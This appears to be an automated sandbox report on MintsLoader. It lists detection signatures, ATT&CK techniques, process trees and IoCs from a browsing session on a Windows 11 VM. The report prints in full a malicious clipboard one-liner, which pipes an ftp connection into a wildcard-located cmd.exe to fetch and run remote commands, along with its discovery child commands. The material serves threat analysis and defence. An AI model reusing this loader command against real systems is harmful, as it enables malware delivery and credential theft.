mintsloader | hxxp://example[.]com

Resubmissions

23/10/2026, 15:22

261023-sseltsex4q6

21/10/2026, 14:25

261021-rrgjcss1cy10

Analysis

user interaction
yes
max time kernel
328s
max time network
315s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
21/10/2026, 14:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://example.com
Sample261021-rrgjcss1cy

Score

10^/10

defense_evasion discovery execution mintsloader loader spyware stealer suricata

Malware Config

Signatures

Family: MintsLoader
MintsLoader is a multi-stage malware loader.
loader mintsloader

Suricata alert: MintsLoader Outbound C2 Communication 1 IoCs

Network activity triggered a Suricata alert

suricata mintsloader

flow	pid	Process
48	2500	powershell.exe

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
48	2500	powershell.exe
52	2064	powershell.exe
56	2064	powershell.exe
59	2064	powershell.exe
60	2064	powershell.exe
62	2064	powershell.exe
63	2064	powershell.exe
64	2064	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
8	webview2.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Suspicious clipboard content. 1 IoCs

A suspicious script was copied to clipboard.

ioc	Process
cmd /c set "bra=ftp"&set "per=ftp-report.wiki"&set "ury=\| "&set "pry=for /f %m in ('dir /b /s %windir%\System32\cm?.e??') do %m"&start "" /min cmd /c "%bra% %per% %ury%%pry%"	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 12 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5944	cmd.exe
108	cmd.exe
1884	cmd.exe
1288	cmd.exe
5404	cmd.exe
6000	cmd.exe
5764	cmd.exe
1544	cmd.exe
3176	cmd.exe
480	cmd.exe
2884	cmd.exe
4340	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	webview2.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5512	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4840	systeminfo.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	47	Go-http-client/1.1

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
2148	taskkill.exe
936	taskkill.exe
3312	taskkill.exe
1076	taskkill.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
2104	chrome.exe
2104	chrome.exe
5244	powershell.exe
5244	powershell.exe
5244	powershell.exe
2064	powershell.exe
2064	powershell.exe
2064	powershell.exe
2500	powershell.exe
2500	powershell.exe
2500	powershell.exe
8	webview2.exe
8	webview2.exe
8	webview2.exe
8	webview2.exe
8	webview2.exe
8	webview2.exe
8	webview2.exe
8	webview2.exe
8	webview2.exe
8	webview2.exe
8	webview2.exe
8	webview2.exe
8	webview2.exe
8	webview2.exe
8	webview2.exe
8	webview2.exe
8	webview2.exe
8	webview2.exe
8	webview2.exe
8	webview2.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 15 IoCs

pid	Process
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe
Token: SeShutdownPrivilege	2104	chrome.exe
Token: SeCreatePagefilePrivilege	2104	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe
2104	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2104 wrote to memory of 3304	2104	chrome.exe	88
PID 2104 wrote to memory of 1936	2104	chrome.exe	89
PID 2104 wrote to memory of 5512	2104	chrome.exe	91
PID 2104 wrote to memory of 1936	2104	chrome.exe	89
PID 2104 wrote to memory of 4248	2104	chrome.exe	92
PID 2104 wrote to memory of 4248	2104	chrome.exe	92
PID 2104 wrote to memory of 4736	2104	chrome.exe	93
PID 2104 wrote to memory of 4736	2104	chrome.exe	93
PID 2104 wrote to memory of 3632	2104	chrome.exe	94
PID 2104 wrote to memory of 3632	2104	chrome.exe	94
PID 2104 wrote to memory of 1604	2104	chrome.exe	95
PID 2104 wrote to memory of 1604	2104	chrome.exe	95
PID 2104 wrote to memory of 3252	2104	chrome.exe	96
PID 2104 wrote to memory of 3252	2104	chrome.exe	96
PID 2104 wrote to memory of 1692	2104	chrome.exe	97
PID 2104 wrote to memory of 1692	2104	chrome.exe	97
PID 2104 wrote to memory of 2928	2104	chrome.exe	98
PID 2104 wrote to memory of 5548	2104	chrome.exe	99
PID 2104 wrote to memory of 5548	2104	chrome.exe	99
PID 2104 wrote to memory of 1400	2104	chrome.exe	100
PID 2104 wrote to memory of 1400	2104	chrome.exe	100
PID 2104 wrote to memory of 2116	2104	chrome.exe	104
PID 2104 wrote to memory of 2116	2104	chrome.exe	104
PID 2104 wrote to memory of 1416	2104	chrome.exe	105
PID 2104 wrote to memory of 1416	2104	chrome.exe	105
PID 2104 wrote to memory of 3748	2104	chrome.exe	106
PID 2104 wrote to memory of 3748	2104	chrome.exe	106
PID 2104 wrote to memory of 3020	2104	chrome.exe	107
PID 2104 wrote to memory of 3020	2104	chrome.exe	107
PID 2104 wrote to memory of 2476	2104	chrome.exe	108
PID 2104 wrote to memory of 2476	2104	chrome.exe	108
PID 2104 wrote to memory of 5300	2104	chrome.exe	109
PID 2104 wrote to memory of 5300	2104	chrome.exe	109
PID 2104 wrote to memory of 1384	2104	chrome.exe	110
PID 2104 wrote to memory of 1384	2104	chrome.exe	110
PID 2104 wrote to memory of 2460	2104	chrome.exe	111
PID 2104 wrote to memory of 2460	2104	chrome.exe	111
PID 2104 wrote to memory of 3388	2104	chrome.exe	112
PID 2104 wrote to memory of 3388	2104	chrome.exe	112
PID 2104 wrote to memory of 1528	2104	chrome.exe	118
PID 2104 wrote to memory of 3224	2104	chrome.exe	119
PID 2104 wrote to memory of 5548	2104	chrome.exe	120
PID 108 wrote to memory of 3176	108	cmd.exe	123
PID 3176 wrote to memory of 3496	3176	cmd.exe	125
PID 3176 wrote to memory of 5260	3176	cmd.exe	126
PID 5260 wrote to memory of 480	5260	cmd.exe	127
PID 5260 wrote to memory of 4456	5260	cmd.exe	128
PID 4456 wrote to memory of 1884	4456	cmd.exe	129
PID 1884 wrote to memory of 4840	1884	cmd.exe	130
PID 1884 wrote to memory of 2392	1884	cmd.exe	131
PID 4456 wrote to memory of 1288	4456	cmd.exe	133
PID 1288 wrote to memory of 4468	1288	cmd.exe	134
PID 4456 wrote to memory of 5404	4456	cmd.exe	135
PID 5404 wrote to memory of 1692	5404	cmd.exe	136
PID 4456 wrote to memory of 1440	4456	cmd.exe	137
PID 4456 wrote to memory of 828	4456	cmd.exe	138
PID 828 wrote to memory of 5244	828	cmd.exe	139
PID 5244 wrote to memory of 2884	5244	powershell.exe	140
PID 2884 wrote to memory of 4340	2884	cmd.exe	141
PID 4340 wrote to memory of 6000	4340	cmd.exe	143
PID 828 wrote to memory of 3252	828	cmd.exe	144
PID 6000 wrote to memory of 3712	6000	cmd.exe	145
PID 4340 wrote to memory of 4112	4340	cmd.exe	146
PID 4340 wrote to memory of 1584	4340	cmd.exe	147

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	38	curl/8.8.0
HTTP User-Agent header	41	curl/8.8.0

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://example.com
1⤵
- Suspicious clipboard content.
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2104
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffab10fc728,0x7ffab10fc734,0x7ffab10fc740
  2⤵
  PID:3304
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1628,i,14087955493721063225,16341031053383842048,262144 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=2076 /prefetch:2
  2⤵
  PID:1936
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1744,i,16522255967395649295,14692474660995931869,524288 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=2120 /prefetch:11
  2⤵
  - System Time Discovery
  PID:5512
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2152,i,4700821190761581644,10938916718492937652,524288 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=2644 /prefetch:13
  2⤵
  PID:4248
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3132,i,15850611359859228894,9439639327990372480,2097152 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=3264 /prefetch:1
  2⤵
  PID:4736
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3140,i,11309539976255438217,15594690311225275112,2097152 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=3300 /prefetch:1
  2⤵
  PID:3632
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4680,i,15550446152089146214,15862286137077020373,2097152 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=4700 /prefetch:1
  2⤵
  PID:1604
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4516,i,4545799097297757525,18284198764650275527,2097152 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=4868 /prefetch:1
  2⤵
  PID:3252
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4896,i,18197376840770505837,377967741577133847,2097152 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=4856 /prefetch:1
  2⤵
  PID:1692
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5828,i,8545525461050305583,3543079299711444298,524288 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=5832 /prefetch:14
  2⤵
  PID:2928
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5936,i,5948131789577047250,12250126519718055696,2097152 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:1
  2⤵
  PID:5548
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5976,i,5268861856265347771,1645027546321418449,2097152 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=5992 /prefetch:1
  2⤵
  PID:1400
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=6276,i,15959878983792610770,4290668587009290759,2097152 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=5928 /prefetch:1
  2⤵
  PID:2116
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6028,i,1824278465183861876,18232784422618880543,2097152 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=5036 /prefetch:1
  2⤵
  PID:1416
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5976,i,15605532622298423842,11324876837229524775,2097152 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:1
  2⤵
  PID:3748
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5820,i,2950102478339811195,250978924341582828,2097152 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=5932 /prefetch:1
  2⤵
  PID:3020
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5340,i,6362738986827604525,8469313527345049544,2097152 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=5404 /prefetch:1
  2⤵
  PID:2476
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5436,i,886296929177927765,15064654987781743600,2097152 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=4904 /prefetch:1
  2⤵
  PID:5300
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6296,i,18192688334345583575,11681256861196270951,2097152 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=5364 /prefetch:1
  2⤵
  PID:1384
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5008,i,11414515243446266278,7553848536757762171,2097152 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=6072 /prefetch:1
  2⤵
  PID:2460
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4880,i,6489603545765721272,13720084219629820934,524288 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:12
  2⤵
  PID:3388
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6416,i,5412730163367175960,10671841077106162121,524288 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=6432 /prefetch:14
  2⤵
  PID:1528
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6412,i,14334664523586778929,11504013597859337304,524288 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=6476 /prefetch:14
  2⤵
  PID:3224
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6428,i,12132772331800459408,2329549381778794381,524288 --field-trial-handle=2080,i,6466246613573381193,5577757371168650224,262144 --variations-seed-version --mojo-platform-channel-handle=4672 /prefetch:14
  2⤵
  PID:5548

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2324

C:\Windows\system32\cmd.exe
cmd /c set "bra=ftp"
1⤵
- Executes a command shell one-liner
PID:5944

C:\Windows\system32\cmd.exe
cmd /c " "
1⤵
- Executes a command shell one-liner
PID:1544

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c set "bra=ftp"&set "per=ftp-report.wiki"&set "ury=| "&set "pry=for /f %m in ('dir /b /s C:\Windows\System32\cm?.e??') do %m"&start "" /min cmd /c "%bra% %per% %ury%%pry%"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:108
- C:\Windows\System32\cmd.exe
  cmd /c "%bra% %per% %ury%%pry%"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3176
- - C:\Windows\System32\ftp.exe
    ftp ftp-report.wiki
    3⤵
    PID:3496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" FOR /F %m in ('dir /b /s C:\Windows\System32\cm?.e??') do %m"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5260
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c dir /b /s C:\Windows\System32\cm?.e??
      4⤵
      Executes a command shell one-liner
      PID:480
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4456
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c systeminfo | findstr /i /c:"Domain:"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1884
